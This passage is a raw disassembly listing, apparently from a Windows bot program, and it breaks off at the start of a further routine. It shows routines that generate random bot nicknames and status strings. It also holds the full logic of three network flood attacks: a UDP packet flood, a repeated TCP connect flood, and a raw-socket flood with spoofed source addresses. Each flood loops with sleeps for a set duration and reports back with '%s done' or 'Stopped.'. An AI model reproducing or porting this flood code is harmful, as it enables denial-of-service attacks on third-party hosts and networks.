; Attributes: bp-based frame


sub_410DDF	proc near		; CODE XREF: sub_410806+5Cp

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset dword_4544BC
		push	0
		push	ebx
		mov	[ebp+var_14], ecx
		call	sub_4221F0
		add	esp, 0Ch
		call	dword_42F164	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_C], eax
		call	sub_4110B0
		mov	[ebp+var_10], eax
		call	sub_4220FC
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_54]
		idiv	ecx
		push	10h
		pop	ecx
		rep movsd
		add	dl, 61h
		mov	[ebp+var_8], dl
		call	sub_4220FC
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_7], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_6], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_5], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_4], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_3], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_2], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_1], al
		call	sub_4220FC
		cdq
		idiv	esi
		mov	dl, [ebp+edx+var_54]
		movsx	eax, dl
		push	eax
		movsx	eax, [ebp+var_1]
		push	eax
		cmp	[ebp+var_C], 5
		movsx	eax, [ebp+var_2]
		push	eax
		movsx	eax, [ebp+var_3]
		push	eax
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, [ebp+var_6]
		push	eax
		movsx	eax, [ebp+var_7]
		push	eax
		movsx	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		jbe	short loc_410F06
		push	[ebp+var_C]
		push	offset aDSCCCCCCCCC ; "|%d|%s%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_422063
		add	esp, 34h
		jmp	short loc_410F14
; ---------------------------------------------------------------------------


loc_410F06:				; CODE XREF: sub_410DDF+112j
		push	offset aSCCCCCCCCC ; "%s%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_422063
		add	esp, 30h


loc_410F14:				; CODE XREF: sub_410DDF+125j
		mov	ecx, [ebp+var_14]
		call	sub_41101E
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_410DDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F23	proc near		; CODE XREF: sub_410806+68p

var_48		= byte ptr -48h
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset dword_454498
		push	0
		push	ebx
		call	sub_4221F0
		call	sub_4220FC
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_48]
		idiv	ecx
		push	10h
		pop	ecx
		rep movsd
		add	dl, 61h
		mov	[ebp+var_8], dl
		call	sub_4220FC
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_7], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_6], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_5], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_4], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_3], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_2], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_1], al
		call	sub_4220FC
		cdq
		idiv	esi
		movsx	eax, [ebp+edx+var_48]
		push	eax
		movsx	eax, [ebp+var_1]
		push	eax
		movsx	eax, [ebp+var_2]
		push	eax
		movsx	eax, [ebp+var_3]
		push	eax
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, [ebp+var_6]
		push	eax
		movsx	eax, [ebp+var_7]
		push	eax
		movsx	eax, [ebp+var_8]
		push	eax
		push	offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_422063
		add	esp, 38h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41101E	proc near		; CODE XREF: sub_410BF1+29p
					; sub_410DDF+138p

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, offset dword_454458
		push	0
		push	esi
		mov	ebx, ecx
		call	sub_4221F0
		add	esp, 0Ch
		call	dword_42F164	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		mov	edi, offset asc_4388F4 ; "|"
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_422063
		push	offset dword_455388
		call	sub_414173
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41107E
		push	offset aP_3	; "P"
		push	esi
		mov	dword ptr [ebx+38h], 1
		call	sub_423270
		pop	ecx
		pop	ecx


loc_41107E:				; CODE XREF: sub_41101E+4Aj
		push	[ebp+var_4]
		lea	eax, [ebp+var_C]
		push	offset a_2d	; "%.2d"
		push	eax
		call	sub_422063
		mov	eax, [ebp+var_4]
		mov	[ebx+30h], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		call	sub_423270
		push	edi
		push	esi
		call	sub_423270
		add	esp, 1Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110B0	proc near		; CODE XREF: sub_410DDF+33p
		push	esi
		push	edi
		push	10h
		mov	esi, offset dword_454468
		push	0
		push	esi
		mov	edi, ecx
		call	sub_4221F0
		add	esp, 0Ch
		call	dword_42F164	; GetTickCount
		push	offset dword_455388
		call	sub_414173
		test	eax, eax
		pop	ecx
		jz	short loc_4110EF
		push	offset aP	; "P|"
		push	esi
		mov	dword ptr [edi+38h], 1
		call	sub_423270
		pop	ecx
		pop	ecx


loc_4110EF:				; CODE XREF: sub_4110B0+29j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4110B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110F4	proc near		; CODE XREF: sub_403B2C+18ECp
					; sub_41A1AB+12p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_4110FF
		xor	eax, eax
		inc	eax
		jmp	short locret_411118
; ---------------------------------------------------------------------------


loc_4110FF:				; CODE XREF: sub_4110F4+4j
		push	[esp+arg_0]
		push	offset dword_43C088
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 14h

locret_411118:				; CODE XREF: sub_4110F4+9j
		retn	4
sub_4110F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41111B	proc near		; CODE XREF: sub_403B2C+6EDp
					; sub_403B2C+1B0Cp ...
		mov	eax, [ecx+8]
		retn
sub_41111B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41111F	proc near		; CODE XREF: sub_403B2C+70Ap
					; sub_40D7ED+8p ...
		mov	eax, [ecx+0Ch]
		retn
sub_41111F	endp


; =============== S U B	R O U T	I N E =======================================



sub_411123	proc near		; CODE XREF: sub_412267+4ACp
					; sub_415A65+32Fp ...
		mov	al, [ecx+4]
		retn
sub_411123	endp


; =============== S U B	R O U T	I N E =======================================



sub_411127	proc near		; CODE XREF: sub_412267+541p
		mov	al, [ecx+5]
		retn
sub_411127	endp


; =============== S U B	R O U T	I N E =======================================



sub_41112B	proc near		; CODE XREF: sub_403B2C+4544p
					; sub_403B2C+6ED3p
		mov	eax, [ecx]
		retn
sub_41112B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41112E	proc near		; DATA XREF: sub_403B2C+519Ao

var_154		= dword	ptr -154h
var_14C		= byte ptr -14Ch
var_CC		= byte ptr -0CCh
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 154h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_154]
		rep movsd
		mov	dword ptr [eax+12Ch], 1
		mov	eax, [ebp+var_154]
		xor	ebx, ebx
		mov	[ebp+arg_0], eax
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_4241D4
		push	32h
		mov	[ebp+var_C], eax
		call	sub_422F79
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	loc_4112A0
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_42F2AC	; inet_addr
		push	[ebp+var_40]
		mov	[ebp+var_20], eax
		mov	[ebp+var_24], 2
		call	dword_42F2B8	; ntohs
		mov	esi, dword_42F298
		mov	[ebp+var_22], ax


loc_4111B7:				; CODE XREF: sub_41112E+145j
		cmp	[ebp+var_40], ebx
		jnz	short loc_4111C5
		call	sub_4220FC
		mov	[ebp+var_22], ax


loc_4111C5:				; CODE XREF: sub_41112E+8Cj
		push	11h
		push	2
		push	2
		call	dword_42F29C	; socket
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_10], edi
		jl	loc_411278
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_41120B
		push	offset aStopped_ ; "Stopped."
		push	8
		push	ebx
		push	ebx
		push	[ebp+var_34]
		lea	eax, [ebp+var_14C]
		push	[ebp+var_30]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C090
		add	esp, 20h


loc_41120B:				; CODE XREF: sub_41112E+BAj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 1
		push	eax
		push	8004667Eh
		push	edi
		call	dword_42F2B0	; ioctlsocket


loc_411222:				; CODE XREF: sub_41112E+103j
		call	sub_4220FC
		mov	ecx, [ebp+var_8]
		mov	[ebx+ecx], al
		inc	ebx
		cmp	ebx, 32h
		jb	short loc_411222
		lea	eax, [ebp+var_24]
		push	10h
		xor	ebx, ebx
		push	eax
		push	ebx
		push	32h
		push	ecx
		push	edi
		call	dword_42F2A4	; sendto
		push	edi
		call	esi ; dword_42F298
		cmp	[ebp+var_4], 32h
		jb	short loc_411265
		push	ebx
		call	sub_4241D4
		mov	edx, [ebp+var_C]
		pop	ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, edx
		cmp	eax, ecx
		jge	short loc_4112A9
		mov	[ebp+var_4], ebx


loc_411265:				; CODE XREF: sub_41112E+11Fj
		push	[ebp+var_44]
		inc	[ebp+var_4]
		call	dword_42F15C	; Sleep
		xor	ebx, ebx
		jmp	loc_4111B7
; ---------------------------------------------------------------------------


loc_411278:				; CODE XREF: sub_41112E+AAj
		push	edi
		call	esi ; dword_42F298
		push	[ebp+var_38]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_41074B
		mov	ecx, [ebp+arg_0]
		push	offset dword_43963C
		push	esi
		call	sub_410720


loc_4112A0:				; CODE XREF: sub_41112E+4Bj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4112A9:				; CODE XREF: sub_41112E+132j
		cmp	[ebp+var_30], 0
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		mov	edi, offset aSDone ; "%s done"
		jnz	short loc_4112D3
		cmp	[ebp+var_34], 0
		jnz	short loc_4112D9
		push	ebx
		lea	eax, [ebp+var_14C]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 10h


loc_4112D3:				; CODE XREF: sub_41112E+189j
		cmp	[ebp+var_34], 0
		jz	short loc_4112ED


loc_4112D9:				; CODE XREF: sub_41112E+18Fj
		push	ebx
		lea	eax, [ebp+var_14C]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 10h


loc_4112ED:				; CODE XREF: sub_41112E+1A9j
		push	[ebp+var_8]
		call	sub_4230B3
		pop	ecx
		push	[ebp+var_10]
		call	esi ; dword_42F298
		push	[ebp+var_38]
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_41112E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41130C	proc near		; DATA XREF: sub_403B2C+5373o

var_150		= dword	ptr -150h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 150h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	ebx, [ebp+var_150]
		xor	esi, esi
		push	esi
		mov	dword ptr [eax+12Ch], 1
		mov	[ebp+var_4], ebx
		mov	[ebp+arg_0], esi
		call	sub_4241D4
		mov	[ebp+var_8], eax
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_4221F0
		add	esp, 10h
		lea	eax, [ebp+var_C8]
		push	eax
		call	dword_42F2AC	; inet_addr
		push	[ebp+var_3C]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 2
		call	dword_42F2B8	; ntohs
		mov	esi, dword_42F298
		mov	[ebp+var_1E], ax


loc_411381:				; CODE XREF: sub_41130C+11Bj
		cmp	[ebp+var_3C], 0
		jnz	short loc_411390
		call	sub_4220FC
		mov	[ebp+var_1E], ax


loc_411390:				; CODE XREF: sub_41130C+79j
		push	6
		push	1
		push	2
		call	dword_42F29C	; socket
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_C], edi
		jl	loc_41142C
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_4113D6
		push	offset aStopped_ ; "Stopped."
		push	8
		push	0
		push	0
		push	[ebp+var_30]
		lea	eax, [ebp+var_148]
		push	[ebp+var_2C]
		push	ebx
		push	eax
		call	sub_41C090
		add	esp, 20h


loc_4113D6:				; CODE XREF: sub_41130C+A7j
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		push	8004667Eh
		push	edi
		call	dword_42F2B0	; ioctlsocket
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_42F294	; connect
		push	edi
		call	esi ; dword_42F298
		cmp	[ebp+arg_0], 32h
		jl	short loc_41141B
		push	0
		call	sub_4241D4
		mov	edx, [ebp+var_8]
		pop	ecx
		mov	ecx, [ebp+var_38]
		add	ecx, edx
		cmp	eax, ecx
		jge	short loc_41145B
		and	[ebp+arg_0], 0


loc_41141B:				; CODE XREF: sub_41130C+F5j
		push	[ebp+var_40]
		inc	[ebp+arg_0]
		call	dword_42F15C	; Sleep
		jmp	loc_411381
; ---------------------------------------------------------------------------


loc_41142C:				; CODE XREF: sub_41130C+97j
		push	edi
		call	esi ; dword_42F298
		push	[ebp+var_34]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		push	esi
		mov	ecx, ebx
		call	sub_41074B
		push	offset dword_43963C
		push	esi
		mov	ecx, ebx
		call	sub_410720
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41145B:				; CODE XREF: sub_41130C+109j
		cmp	[ebp+var_2C], 0
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		mov	edi, offset aSDone ; "%s done"
		jnz	short loc_411485
		cmp	[ebp+var_30], 0
		jnz	short loc_41148B
		push	ebx
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	sub_4104F6
		add	esp, 10h


loc_411485:				; CODE XREF: sub_41130C+15Dj
		cmp	[ebp+var_30], 0
		jz	short loc_41149F


loc_41148B:				; CODE XREF: sub_41130C+163j
		push	ebx
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	sub_410491
		add	esp, 10h


loc_41149F:				; CODE XREF: sub_41130C+17Dj
		push	[ebp+var_C]
		call	esi ; dword_42F298
		push	[ebp+var_34]
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_41130C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114B5	proc near		; DATA XREF: sub_403B2C+5523o

var_250		= dword	ptr -250h
var_248		= byte ptr -248h
var_1C8		= byte ptr -1C8h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_116		= word ptr -116h
var_114		= byte ptr -114h
var_E8		= byte ptr -0E8h
var_D4		= word ptr -0D4h
var_D2		= word ptr -0D2h
var_D0		= dword	ptr -0D0h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6E		= word ptr -6Eh
var_6C		= word ptr -6Ch
var_6A		= word ptr -6Ah
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= word ptr -66h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4A		= word ptr -4Ah
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_30		= byte ptr -30h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_250]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+12Ch], esi
		mov	eax, [ebp+var_250]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_4140CF
		push	2
		mov	[ebp+var_1C], eax
		pop	ecx
		xor	ebx, ebx
		push	4
		mov	[ebp+var_C4], ecx
		pop	eax
		mov	[ebp+var_BC], 5
		push	3
		mov	[ebp+var_C0], eax
		pop	edi
		mov	[ebp+var_B8], 0B4h
		push	ebx
		mov	[ebp+var_B4], eax
		mov	[ebp+var_B0], ecx
		mov	[ebp+var_AC], 8
		mov	[ebp+var_A8], 0Ah
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], ebx
		mov	[ebp+var_9C], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_94], ebx
		mov	[ebp+var_90], ebx
		mov	[ebp+var_8C], ebx
		mov	[ebp+var_88], ebx
		mov	[ebp+var_84], esi
		mov	[ebp+var_80], edi
		mov	[ebp+var_7C], edi
		mov	[ebp+var_78], ebx
		mov	[ebp+var_8], ebx
		call	sub_4241D4
		pop	ecx
		mov	[ebp+var_18], eax
		pop	ecx
		push	0FFh
		push	edi
		push	2
		call	dword_42F29C	; socket
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jge	short loc_4115D7
		push	eax
		call	dword_42F298	; closesocket
		push	[ebp+var_134]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_41074B
		mov	ecx, [ebp+arg_0]
		push	offset dword_43963C
		push	esi
		call	sub_410720
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4115D7:				; CODE XREF: sub_4114B5+E8j
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_41160A
		push	offset aStopped_ ; "Stopped."
		push	8
		push	ebx
		push	ebx
		push	[ebp+var_130]
		lea	eax, [ebp+var_248]
		push	[ebp+var_12C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C090
		add	esp, 20h


loc_41160A:				; CODE XREF: sub_4114B5+12Cj
		xor	eax, eax


loc_41160C:				; CODE XREF: sub_4114B5+166j
		mov	cl, byte ptr [ebp+eax*4+var_C4]
		mov	[ebp+eax+var_30], cl
		inc	eax
		cmp	eax, 14h
		jl	short loc_41160C
		lea	eax, [ebp+var_1C8]
		push	eax
		call	dword_42F274	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	edi, [eax]
		and	edi, 0FFFFFFh
		call	sub_4220FC
		cdq
		mov	ecx, 0FFh
		push	[ebp+var_13C]
		idiv	ecx
		mov	eax, [ebp+var_138]
		or	[ebp+var_68], cl
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_74]
		and	al, 45h
		mov	[ebp+var_48], si
		mov	esi, dword_42F2B8
		or	al, 45h
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], 10h
		mov	[ebp+var_6A], 40h
		mov	[ebp+var_67], 6
		mov	[ebp+var_54], ebx
		mov	[ebp+var_4E], 0Ah
		mov	[ebp+var_50], bx
		mov	[ebp+var_3A], bx
		mov	[ebp+var_3C], bx
		mov	[ebp+var_40], bx
		mov	[ebp+var_42], bx
		mov	[ebp+var_44], bx
		mov	[ebp+var_46], bx
		mov	[ebp+var_4A], bx
		mov	[ebp+var_38], 787Dh
		mov	[ebp+var_34], bx
		shl	edx, 18h
		or	edi, edx
		call	esi ; dword_42F2B8
		movzx	eax, ax
		mov	[ebp+var_C], eax


loc_4116B8:				; CODE XREF: sub_4114B5+344j
		call	sub_4220FC
		cmp	[ebp+var_13C], ebx
		mov	[ebp+var_4], eax
		jnz	short loc_4116D0
		call	sub_4220FC
		mov	[ebp+var_C], eax


loc_4116D0:				; CODE XREF: sub_4114B5+211j
		push	3Ch
		call	esi ; dword_42F2B8
		mov	[ebp+var_6E], ax
		call	sub_4220FC
		mov	[ebp+var_6C], ax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_60], eax
		mov	ax, word ptr [ebp+var_4]
		mov	[ebp+var_5C], ax
		mov	ax, word ptr [ebp+var_C]
		mov	[ebp+var_64], edi
		mov	[ebp+var_66], bx
		mov	[ebp+var_5A], ax
		call	sub_4220FC
		mov	[ebp+var_58], eax
		mov	ax, word ptr [ebp+var_C]
		mov	[ebp+var_D2], ax
		mov	eax, [ebp+var_60]
		mov	[ebp+var_D0], eax
		lea	eax, [ebp+var_74]
		push	14h
		push	eax
		mov	[ebp+var_36], bx
		mov	[ebp+var_D4], 2
		call	sub_414271
		pop	ecx
		mov	[ebp+var_66], ax
		pop	ecx
		call	sub_4220FC
		mov	[ebp+var_4], eax
		mov	[ebp+var_27], al
		mov	al, byte ptr [ebp+var_4+2]
		mov	[ebp+var_26], ah
		mov	[ebp+var_25], al
		mov	al, byte ptr [ebp+var_4+3]
		mov	[ebp+var_24], al
		mov	eax, [ebp+var_64]
		mov	[ebp+var_120], eax
		mov	eax, [ebp+var_60]
		push	28h
		mov	[ebp+var_11C], eax
		mov	[ebp+var_118], bl
		mov	[ebp+var_117], 6
		call	esi ; dword_42F2B8
		mov	[ebp+var_116], ax
		lea	eax, [ebp+var_114]
		push	14h
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_E8]
		push	14h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_120]
		push	34h
		push	eax
		call	sub_414271
		add	esp, 20h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_D4]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_74]
		push	3Ch
		push	eax
		push	[ebp+var_10]
		call	dword_42F2A4	; sendto
		cmp	[ebp+var_8], 32h
		jb	short loc_4117EA
		push	ebx
		call	sub_4241D4
		mov	edx, [ebp+var_18]
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, edx
		cmp	eax, ecx
		jnb	short loc_4117FE
		mov	[ebp+var_8], ebx


loc_4117EA:				; CODE XREF: sub_4114B5+31Dj
		push	[ebp+var_140]
		inc	[ebp+var_8]
		call	dword_42F15C	; Sleep
		jmp	loc_4116B8
; ---------------------------------------------------------------------------


loc_4117FE:				; CODE XREF: sub_4114B5+330j
		push	[ebp+var_10]
		mov	esi, dword_42F298
		call	esi ; dword_42F298
		cmp	[ebp+var_12C], ebx
		mov	edi, offset aSDone ; "%s done"
		jnz	short loc_411836
		cmp	[ebp+var_130], ebx
		jnz	short loc_41183E
		push	offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 10h


loc_411836:				; CODE XREF: sub_4114B5+35Fj
		cmp	[ebp+var_130], ebx
		jz	short loc_411856


loc_41183E:				; CODE XREF: sub_4114B5+367j
		push	offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 10h


loc_411856:				; CODE XREF: sub_4114B5+387j
		push	[ebp+var_10]
		call	esi ; dword_42F298
		push	[ebp+var_134]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
sub_4114B5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41186E	proc near		; DATA XREF: sub_403B2C+5706o

var_15C		= dword	ptr -15Ch
var_154		= byte ptr -154h
var_D4		= byte ptr -0D4h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
